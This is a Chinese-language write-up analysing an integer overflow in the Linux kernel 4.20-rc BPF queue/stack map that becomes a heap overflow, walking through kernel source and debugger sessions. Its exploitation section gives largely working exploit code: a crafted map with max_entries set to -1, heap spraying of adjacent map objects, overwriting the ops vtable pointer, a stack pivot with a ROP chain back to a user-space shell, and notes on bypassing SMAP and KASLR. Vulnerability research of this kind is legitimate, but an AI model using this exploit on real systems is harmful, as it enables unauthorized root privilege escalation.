Linux kernel 4.20 BPF 整数溢出漏洞分析
分析的代码为linux-4.20-rc3
版本:https://elixir.bootlin.com/linux/v4.20-rc3/source。因为该漏洞影响Linux Kernel 4.20rc1-4.20rc4
,主要Linux发行版并不受其影响。
一、简介
BPF
的全称是Berkeley Packet Filter
,字面意思意味着它是从包过滤而来,该模块主要就是用于用户态定义数据包过滤方法;从本质上我们可以把它看作是一种内核代码注入的技术,BPF
最大的好处是它提供了一种在不修改内核代码的情况下,可以灵活修改内核处理策略的方法,这使得在包过滤和系统tracing这种需要频繁修改规则的场合中非常有用。常见的抓包工具都基于此实现,并且用户态的Seccomp功能也与此功能相似。
涉及到的代码可从这里下载,我更改过的exp可从我的github下载。
二、漏洞分析
触发流程:
SYSCALL_DEFINE3() -> map_create() -> find_and_alloc_map() -> queue_stack_map_alloc()
BPF通过系统调用触发,查看代码。
// /kernel/bpf/syscall.c
SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user *, uattr, unsigned int, size)
{
union bpf_attr attr = {};
int err;
if (sysctl_unprivileged_bpf_disabled && !capable(CAP_SYS_ADMIN))
return -EPERM;
err = bpf_check_uarg_tail_zero(uattr, sizeof(attr), size);
if (err)
return err;
size = min_t(u32, size, sizeof(attr));
/* copy attributes from user space, may be less than sizeof(bpf_attr) */
if (copy_from_user(&attr, uattr, size) != 0)
return -EFAULT;
err = security_bpf(cmd, &attr, size);
if (err < 0)
return err;
switch (cmd) {
case BPF_MAP_CREATE:
err = map_create(&attr);
break;
case BPF_MAP_LOOKUP_ELEM:
err = map_lookup_elem(&attr);
break;
case BPF_MAP_UPDATE_ELEM:
err = map_update_elem(&attr);
break;
... ...
case BPF_MAP_LOOKUP_AND_DELETE_ELEM:
err = map_lookup_and_delete_elem(&attr);
break;
default:
err = -EINVAL;
break;
}
return err;
}
map_create
:用户可通过BPF_MAP_CREATE
参数调用map_create
函数来创建map对象。map_create源码。
// /kernel/bpf/syscall.c
static int map_create(union bpf_attr *attr)
{
int numa_node = bpf_map_attr_numa_node(attr);
struct bpf_map *map;
int f_flags;
int err;
err = CHECK_ATTR(BPF_MAP_CREATE);
if (err)
return -EINVAL;
f_flags = bpf_get_file_flag(attr->map_flags);
if (f_flags < 0)
return f_flags;
if (numa_node != NUMA_NO_NODE &&
((unsigned int)numa_node >= nr_node_ids ||
!node_online(numa_node)))
return -EINVAL;
/* find map type and init map: hashtable vs rbtree vs bloom vs ... */
map = find_and_alloc_map(attr);//根据map的类型分配空间,创建map结构体,并为其编号,以后利用编号寻找生成的map。
if (IS_ERR(map))
return PTR_ERR(map);
err = bpf_obj_name_cpy(map->name, attr->map_name);
if (err)
goto free_map_nouncharge;
atomic_set(&map->refcnt, 1);
atomic_set(&map->usercnt, 1);
... ...
free_map:
bpf_map_release_memlock(map);
free_map_sec:
security_bpf_map_free(map);
free_map_nouncharge:
btf_put(map->btf);
map->ops->map_free(map);
return err;
}
find_and_alloc_map
:函数根据map的类型给map分配空间,find_and_alloc_map
中首先根据attr->type
,寻找所对应的处理函数虚表,然后根据处理函数虚表的不同,调用不同的函数进行处理。find_and_alloc_map源码。
static struct bpf_map *find_and_alloc_map(union bpf_attr *attr)
{
const struct bpf_map_ops *ops;
u32 type = attr->map_type;
struct bpf_map *map;
int err;
if (type >= ARRAY_SIZE(bpf_map_types))
return ERR_PTR(-EINVAL);
type = array_index_nospec(type, ARRAY_SIZE(bpf_map_types));
ops = bpf_map_types[type]; //根据type的值寻找所对应的处理函数虚表
if (!ops)
return ERR_PTR(-EINVAL);
if (ops->map_alloc_check) {
err = ops->map_alloc_check(attr);
if (err)
return ERR_PTR(err);
}
if (attr->map_ifindex)
ops = &bpf_map_offload_ops;
map = ops->map_alloc(attr); //调用虚函数
if (IS_ERR(map))
return map;
map->ops = ops;
map->map_type = type;
return map;
}
bpf_map_ops
追踪
// /include/linux/bpf.h —— bpf_map_ops
struct bpf_map_ops {
/* funcs callable from userspace (via syscall) */
int (*map_alloc_check)(union bpf_attr *attr);
struct bpf_map *(*map_alloc)(union bpf_attr *attr);
void (*map_release)(struct bpf_map *map, struct file *map_file);
...
// /include/linux/bpf.h —— bpf_map
struct bpf_map {
/* The first two cachelines with read-mostly members of which some
* are also accessed in fast-path (e.g. ops, max_entries).
*/
const struct bpf_map_ops *ops ____cacheline_aligned;
struct bpf_map *inner_map_meta;
...
// /kernel/bpf/queue_stack_maps.c —— queue_stack_map_alloc
// 虚函数表:对应真正调用的函数
const struct bpf_map_ops queue_map_ops = {
.map_alloc_check = queue_stack_map_alloc_check,
.map_alloc = queue_stack_map_alloc, //map_alloc
.map_free = queue_stack_map_free,
.map_lookup_elem = queue_stack_map_lookup_elem,
.map_update_elem = queue_stack_map_update_elem, //map_update_elem
.map_delete_elem = queue_stack_map_delete_elem,
.map_push_elem = queue_stack_map_push_elem,
.map_pop_elem = queue_map_pop_elem,
.map_peek_elem = queue_map_peek_elem,
.map_get_next_key = queue_stack_map_get_next_key,
};
queue_stack_map_alloc
:而在虚函数当中有一个queue_stack_map_alloc
函数,源码。
static struct bpf_map *queue_stack_map_alloc(union bpf_attr *attr)
{
int ret, numa_node = bpf_map_attr_numa_node(attr);
struct bpf_queue_stack *qs;
u32 size, value_size;
u64 queue_size, cost;
size = attr->max_entries + 1; // 会产生整数溢出
value_size = attr->value_size;
queue_size = sizeof(*qs) + (u64) value_size * size;
cost = queue_size;
if (cost >= U32_MAX - PAGE_SIZE)
return ERR_PTR(-E2BIG);
cost = round_up(cost, PAGE_SIZE) >> PAGE_SHIFT;
ret = bpf_map_precharge_memlock(cost);
if (ret < 0)
return ERR_PTR(ret);
qs = bpf_map_area_alloc(queue_size, numa_node); // 申请过小的块
if (!qs)
return ERR_PTR(-ENOMEM);
memset(qs, 0, sizeof(*qs));
bpf_map_init_from_attr(&qs->map, attr); // 初始化函数
qs->map.pages = cost;
qs->size = size;
raw_spin_lock_init(&qs->lock);
return &qs->map;
}
漏洞:attr->max_entries
是用户传入的可控参数。因为size = attr->max_entries + 1;
若attr->max_entries=0xffffffff
,产生整数溢出漏洞使得size=0
。
又因为queue_size = sizeof(*qs) + (u64) value_size * size;
,使得queue_size = sizeof(*qs)
。其中前sizeof(bpf_queue_stack) 个字节为管理块,用于存储数据结构,后面的内容为数据存储结构。
bpf_map_init_from_attr
:初始化bpf_map
结构。
void bpf_map_init_from_attr(struct bpf_map *map, union bpf_attr *attr)
{
map->map_type = attr->map_type;
map->key_size = attr->key_size;
map->value_size = attr->value_size;
map->max_entries = attr->max_entries;
map->map_flags = attr->map_flags;
}
当此申请完成后,内核模块将这个堆块放入管理结构中,并生成id用于管理,并将id返回给用户。
三、堆溢出
有了整数溢出,现在需寻找编辑功能。
堆溢出:因为上面的整数溢出漏洞,导致了内存分配的时候仅仅分配了管理块的大小,但是没有分配实际存储数据的内存,之后我们可以在第3个bpf系统
调用map_update_elem
这块map
的过程中,向这块过小的queue stack
中区域拷入数据,就导致内核堆溢出。
map_update_elem
:首先根据用户输入的id找到放入管理结构的map,利用kmalloc新建一个堆块根据map中存储的value_size,从用户输入拷贝。然后在map中找到存储的虚函数指针ops,然后根据ops调用相应的虚函数。
static int map_update_elem(union bpf_attr *attr)
{
void __user *ukey = u64_to_user_ptr(attr->key);
void __user *uvalue = u64_to_user_ptr(attr->value);
int ufd = attr->map_fd; //用户id
struct bpf_map *map;
void *key, *value;
u32 value_size;
struct fd f;
int err;
if (CHECK_ATTR(BPF_MAP_UPDATE_ELEM))
return -EINVAL;
f = fdget(ufd); //用户id -> 找到对应map
map = __bpf_map_get(f);
if (IS_ERR(map))
return PTR_ERR(map);
......
value_size = map->value_size; //
value = kmalloc(value_size, GFP_USER | __GFP_NOWARN); //根据value_size新建堆块
if (copy_from_user(value, uvalue, value_size) != 0) // attr->value 处的值缓存到 attr->value
goto free_value;
......
err = map->ops->map_push_elem(map, value, attr->flags); //由虚表可知,map_push_elem真正调用了 queue_stack_map_push_elem()
queue_stack_map_push_elem
:发生溢出的主要函数,源码如下。在该函数中从之前kmalloc新建的内存中,向计算得到的地址做拷贝,大小为qs->size。
/* Called from syscall or from eBPF program */
static int queue_stack_map_push_elem(struct bpf_map *map, void *value,
u64 flags)
{
struct bpf_queue_stack *qs = bpf_queue_stack(map);
unsigned long irq_flags;
int err = 0;
void *dst;
/* BPF_EXIST is used to force making room for a new element in case the
* map is full
*/
bool replace = (flags & BPF_EXIST);
/* Check supported flags for queue and stack maps */
if (flags & BPF_NOEXIST || flags > BPF_EXIST)
return -EINVAL;
raw_spin_lock_irqsave(&qs->lock, irq_flags);
if (queue_stack_map_is_full(qs)) {
if (!replace) {
err = -E2BIG;
goto out;
}
/* advance tail pointer to overwrite oldest element */
if (unlikely(++qs->tail >= qs->size))
qs->tail = 0;
}
dst = &qs->elements[qs->head * qs->map.value_size];
memcpy(dst, value, qs->map.value_size); //堆溢出
if (unlikely(++qs->head >= qs->size))
qs->head = 0;
out:
raw_spin_unlock_irqrestore(&qs->lock, irq_flags);
return err;
}
计算的地址,从汇编语言中更容易看出是跳过了管理块内容的地址,qs->head在新建的时候被初始化为0,此时出现堆溢出,溢出大小可以控制即初始化是输入的value_size,位置是从新建的第一个堆块以后直接溢出。
.text:FFFFFFFF811AEF71 mov edx, [rbx+20h]
.text:FFFFFFFF811AEF74 mov rsi, r13
.text:FFFFFFFF811AEF77 xor r15d, r15d
.text:FFFFFFFF811AEF7A imul ecx, edx
.text:FFFFFFFF811AEF7D lea rdi, [rbx+rcx+0D0h]
.text:FFFFFFFF811AEF85 call memcpy
; memcpy((unsigned __int64)map + (unsigned int)(map[8] * v7) + 0xD0, a2, (unsigned int)map[8]);
功能:每一个map里包含多个小块内存,value_size是每一个小块的大小,max_entries是小块的数量,每次可以写一个小块内容。
这里memcpy
函数中的dst
就是上面申请的queue stack
区域,而src
是由用户态拷入的大小为qs->map.value_size
的buffer
, 拷贝长度由创建queue_stack
时用户提供的attr.value_size
所决定的,所以拷贝长度也是用户可控的;sizeof(struct bpf_queue_stack)
(bpf_queue_stack结构大小是0xd0,但kmalloc分配时需对齐,就是0x100,所以至少0x30字节才能溢出),如果当value_size > 256 - (&qs->elements - &qs)
时,就会发生越界拷贝了。
四、漏洞利用
1. 利用分析
(1)保护:采用smep,关闭smap/kaslr/kpti。
(2)查看申请块size:下断,发现是用kmalloc-256进行分配。 问题—怎么找到这个断点的啊??
pwndbg> b *0xFFFFFFFF8119CD17
Breakpoint 2 at 0xffffffff8119cd17
pwndbg> c
Continuing.
pwndbg> ni
pwndbg> i r rax
rax 0xffff88807a001700 -131389592692992
pwndbg> x /20gx 0xffff88807a001700
0xffff88807a001700: 0x0000000000024200 0x0000000040000000
0xffff88807a001710: 0x0000000000000005 0x0000010000000100
0xffff88807a001720: 0x0000000d00000000 0x0000001000000010
0xffff88807a001730: 0x0000000000000010 0x0000000000000001
0xffff88807a001740: 0x0000000000000000 0x0000000800000100
0xffff88807a001750: 0x0000000000000000 0xffffffff8222db1c
0xffff88807a001760: 0xffff88807a001860 0xffff88807a001660
0xffff88807a001770: 0xffffffff8222db1c 0xffff88807a001878
0xffff88807a001780: 0xffff88807a001678 0xffff888079b459d8
0xffff88807a001790: 0xffff888079b459c0 0xffffffff8246d5e0
pwndbg> x /s 0xffffffff8222db1c
0xffffffff8222db1c: "kmalloc-256"
(3)漏洞条件:1. 申请0x100大小的堆块;2. 向相邻堆块溢出;3. slub性质—相同大小的堆块相邻,因此申请大量的堆块一定存在一块与发生溢出的堆块相邻,造成指针可控的情况。
(4)利用思路:由于ptmx大小不合适,可以就利用bpf_queue_stack
结构,连续申请两个bpf_queue_stack
,就可以让第一个bpf_queue_stack
发生溢出,改写后一个bpf_queue_stack
的虚表指针。bpf_queue_stack
结构包含bpf_map
,bpf_map
中含虚表指针ops,溢出覆盖虚表指针,即可劫持控制流。
struct bpf_queue_stack {
struct bpf_map map;
raw_spinlock_t lock;
u32 head, tail;
u32 size; /* max_entries + 1 */
char elements[0] __aligned(8);
};
struct bpf_map {
/* The first two cachelines with read-mostly members of which some
* are also accessed in fast-path (e.g. ops, max_entries).
*/
const struct bpf_map_ops *ops ____cacheline_aligned;
struct bpf_map *inner_map_meta;
#ifdef CONFIG_SECURITY
void *security;
#endif
enum bpf_map_type map_type;
u32 key_size;
u32 value_size;
u32 max_entries;
u32 map_flags;
u32 pages;
u32 id;
int numa_node;
u32 btf_key_type_id;
u32 btf_value_type_id;
struct btf *btf;
bool unpriv_array;
/* 55 bytes hole */
/* The 3rd and 4th cacheline with misc members to avoid false sharing
* particularly with refcounting.
*/
struct user_struct *user ____cacheline_aligned;
atomic_t refcnt;
atomic_t usercnt;
struct work_struct work;
char name[BPF_OBJ_NAME_LEN];
};
/* map is generic key/value storage optionally accesible by eBPF programs */
struct bpf_map_ops {
/* funcs callable from userspace (via syscall) */
int (*map_alloc_check)(union bpf_attr *attr);
struct bpf_map *(*map_alloc)(union bpf_attr *attr);
void (*map_release)(struct bpf_map *map, struct file *map_file);
void (*map_free)(struct bpf_map *map);
int (*map_get_next_key)(struct bpf_map *map, void *key, void *next_key);
void (*map_release_uref)(struct bpf_map *map);
/* funcs callable from userspace and from eBPF programs */
void *(*map_lookup_elem)(struct bpf_map *map, void *key);
int (*map_update_elem)(struct bpf_map *map, void *key, void *value, u64 flags);
int (*map_delete_elem)(struct bpf_map *map, void *key);
int (*map_push_elem)(struct bpf_map *map, void *value, u64 flags);
int (*map_pop_elem)(struct bpf_map *map, void *value);
int (*map_peek_elem)(struct bpf_map *map, void *value);
/* funcs called by prog_array and perf_event_array map */
void *(*map_fd_get_ptr)(struct bpf_map *map, struct file *map_file,
int fd);
void (*map_fd_put_ptr)(void *ptr);
u32 (*map_gen_lookup)(struct bpf_map *map, struct bpf_insn *insn_buf);
u32 (*map_fd_sys_lookup_elem)(void *ptr);
void (*map_seq_show_elem)(struct bpf_map *map, void *key,
struct seq_file *m);
int (*map_check_btf)(const struct bpf_map *map,
const struct btf_type *key_type,
const struct btf_type *value_type);
};
// 虚函数表:对应真正调用的函数
const struct bpf_map_ops queue_map_ops = {
.map_alloc_check = queue_stack_map_alloc_check,
.map_alloc = queue_stack_map_alloc, //map_alloc
.map_free = queue_stack_map_free,
.map_lookup_elem = queue_stack_map_lookup_elem,
.map_update_elem = queue_stack_map_update_elem, //map_update_elem
.map_delete_elem = queue_stack_map_delete_elem,
.map_push_elem = queue_stack_map_push_elem,
.map_pop_elem = queue_map_pop_elem,
.map_peek_elem = queue_map_peek_elem,
.map_get_next_key = queue_stack_map_get_next_key,
};
(5)输入格式(传入参数的格式):
// /include/uapi/linux/bpf.h
union bpf_attr {
struct { /* 用于 BPF_MAP_CREATE 命令,添加bpf */
__u32 map_type; /* one of enum bpf_map_type */
__u32 key_size; /* size of key in bytes */
__u32 value_size; /* size of value in bytes */
__u32 max_entries; /* max number of entries in a map */
__u32 map_flags; /* BPF_MAP_CREATE related
* flags defined above.
*/
__u32 inner_map_fd; /* fd pointing to the inner map */
__u32 numa_node; /* numa node (effective only if
* BPF_F_NUMA_NODE is set).
*/
char map_name[BPF_OBJ_NAME_LEN];
__u32 map_ifindex; /* ifindex of netdev to create on */
__u32 btf_fd; /* fd pointing to a BTF type data */
__u32 btf_key_type_id; /* BTF type_id of the key */
__u32 btf_value_type_id; /* BTF type_id of the value */
};
struct { /* 用于 BPF_MAP_*_ELEM 命令,可编辑bpf */
__u32 map_fd;
__aligned_u64 key;
union {
__aligned_u64 value;
__aligned_u64 next_key;
};
__u64 flags;
};
(6)释放时/劫持map_release时的现场,以确定xchg哪个寄存器:
bpf_map_release()
---> map_release()
。
由于是jmp rsp
,所以可以选xchg eax, esp
这个gadget。
// c代码
static int bpf_map_release(struct inode *inode, struct file *filp)
{
struct bpf_map *map = filp->private_data;
if (map->ops->map_release)
map->ops->map_release(map, filp);
bpf_map_put_with_uref(map);
return 0;
}
/ # cat /proc/kallsyms | grep map_release
ffffffff8119d050 t bpf_map_release
ffffffff811a8b00 t bpffs_map_release
ffffffff81810070 t map_release
# 汇编
pwndbg> x /30i 0xffffffff8119d050
0xffffffff8119d050: push rbx
0xffffffff8119d051: mov rbx,QWORD PTR [rsi+0xc8]
0xffffffff8119d058: mov rax,QWORD PTR [rbx]
0xffffffff8119d05b: mov rax,QWORD PTR [rax+0x10]
0xffffffff8119d05f: test rax,rax
0xffffffff8119d062: je 0xffffffff8119d06c
0xffffffff8119d064: mov rdi,rbx
0xffffffff8119d067: call 0xffffffff81e057c0
0xffffffff8119d06c: mov rdi,rbx
0xffffffff8119d06f: call 0xffffffff8119d010
0xffffffff8119d074: xor eax,eax
0xffffffff8119d076: pop rbx
0xffffffff8119d077: ret
# pwndbg里面
pwndbg> x /10i 0xffffffff81e057c0
0xffffffff81e057c0: call 0xffffffff81e057cc
0xffffffff81e057c5: pause
0xffffffff81e057c7: lfence
0xffffffff81e057ca: jmp 0xffffffff81e057c5
0xffffffff81e057cc: mov QWORD PTR [rsp],rax#其实就是jmp rax
0xffffffff81e057d0: ret
# IDA中
.text:FFFFFFFF81E057C0 jmp rax
原文说close()
时,会将bpf_map_free_deferred()
添加到队列并随后执行,通过将map->ops指向用户态可控位置,并且将ops.map_free设为任意值,我们就可以在执行map->ops->map_free(map);
语句时将rip设置为任意值。
/* called from workqueue */
static void bpf_map_free_deferred(struct work_struct *work)
{
struct bpf_map *map = container_of(work, struct bpf_map, work);
bpf_map_release_memlock(map);
security_bpf_map_free(map);
/* implementation dependent freeing */
map->ops->map_free(map);
}
/* decrement map refcnt and schedule it for freeing via workqueue
* (unrelying map implementation ops->map_free() might sleep)
*/
static void __bpf_map_put(struct bpf_map *map, bool do_idr_lock)
{
if (atomic_dec_and_test(&map->refcnt)) {
/* bpf_map_free_id() must be called first */
bpf_map_free_id(map, do_idr_lock);
btf_put(map->btf);
INIT_WORK(&map->work, bpf_map_free_deferred);
schedule_work(&map->work);
}
}
map_free
函数地址位于偏移0x18处,但是exp中是劫持的是0x10处的map_release
。但是我在map_free
处下断点,并正常释放时,确实停下来了。
2.整合利用
// Step 1 : 构造添加bpf (BPF_MAP_CREATE) 的参数
signal(SIGSEGV, get_shell_again); // 遇到SIGSEGV错误时调用get_shell_again()处理函数(对存储的无效访问:当程序试图在已分配的内存之外读取或写入时)
syscall(__NR_mmap, 0x20000000,0x1000000,PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
long res = 0;
memset(0x200011c0, '\x00', 0x30);
*(uint32_t *)0x200011c0 = 0x17; // map_type 如何确定??
*(uint32_t *)0x200011c4 = 0; // key_size
*(uint32_t *)0x200011c8 = 0x40; // value_size 需拷贝的用户字节数
*(uint32_t *)0x200011cc = -1; // max_entries = 0xffffffff 构造整数溢出
*(uint32_t *)0x200011d0 = 0; // map_flags
*(uint32_t *)0x200011d4 = -1; // inner_map_fd
*(uint32_t *)0x200011d8 =0; // numa_node
// Step 2 : 保存用户态变量, xchg地址处布置ROP
save_status();
printf("user_cs:%llx user_ss:%llx user_rflags:%llx user_sp:%llx\n",user_cs, user_ss, user_rflags, user_sp);
prepare_krop();
void *fake_stack;
void prepare_krop(){
krop_base_mapped = mmap ((void *)krop_base_to_map, 0x8000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
if (krop_base_mapped<0){
perror("[-] mmap failed");
}
*(unsigned long*)0x81954dc8 = pop_rax_ret;
fake_stack = mmap((void *)0xa000000000,0x8000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
memset(fake_stack, '\x00', 0x100);
*(unsigned long*)(fake_stack+0x10) = xchg_eax_esp_ret; // 偏移0x10处对应 map_release函数指针
rop_chain[14]=user_cs;
rop_chain[15]=user_rflags;
rop_chain[16]=user_sp; // 也可以是(unsigned long)(fake_stack+0x6000);
rop_chain[17]=user_ss;
memcpy(krop_base_mapped + rop_start, rop_chain, sizeof(rop_chain));
puts("[+] rop chain has been initialized!");
}
// Step 3 : 添加bpf,喷射构造相邻的bpf结构,有利于溢出
res = syscall(__NR_bpf, 0, 0x200011c0, 0x2c);
spray();
long victim[SPRAY_NUMBER];
void spray(){
for(int i=0; i < SPRAY_NUMBER; i++)
victim[i] = syscall(__NR_bpf, 0, 0x200011c0, 0x2c);
return;
}
// Step 4 : 溢出覆盖bpf_queue_stack中的虚表指针ops,伪造虚表bpf_map_ops中的函数指针map_release
*(uint32_t*)0x200000c0 = res; //map_fd 根据BPF_MAP_CREATE返回的编号找到对应的bpf对象
*(uint64_t*)0x200000c8 = 0; //key
*(uint64_t*)0x200000d0 = 0x20000140; //value 输入的缓冲区
*(uint64_t*)0x200000d8 = 2; //flags = BPF_EXIST =2
uint64_t * ptr = (uint64_t*)0x20000140;
for(int i=0; i<8; i++)
ptr[i]=i;
ptr[6]=fake_stack; //0x20002000 0xa000000000 从偏移0x30才开始覆盖。虚表指针ops在开头,但bpf_queue_stack管理结构大小0xd0,但是申请空间时需0x100对齐,0x100-0xd0=0x30。
syscall(__NR_bpf,2,0x200000c0,0x20);
// Step 5 : close()触发map_release()
for (int i=0; i<SPRAY_NUMBER; i++)
close(victim[i]);
在调试ROP时,当用iret返回用户态时,遇到了一个之前没有遇到的问题,虽然跳转到了get_shell函数,但执行第一条语句时,出现Segmentation fault,拿不到shell。加一个signal函数来catch段错误,在这个处理函数中再起shell,就可以拿到shell。
3. 绕过保护机制讨论
(1)SMAP
SMAP防止ring 0代码访问用户态数据,Linux下的传统的绕过SMAP提权的方法包括以下几种:
- 利用JOP改写CR4寄存器关闭SMAP防御
- 利用call_usermodehelper 以root身份执行binary
- 通过内存任意读写直接改写当前进程cred。
关于利这一个单个漏洞SMAP, KPTI, KASLR等其他防御机制的绕过,将在后续文章中进行详解。
(2)KASLR
Linux下的传统的绕过KASLR提权的方法包括以下几种:
- 近年来,有许多通过硬件侧信道绕过KASLR的工作,如prefetch, meltdown等
- 利用漏洞构造信息泄露
- 配合一个信息泄露漏洞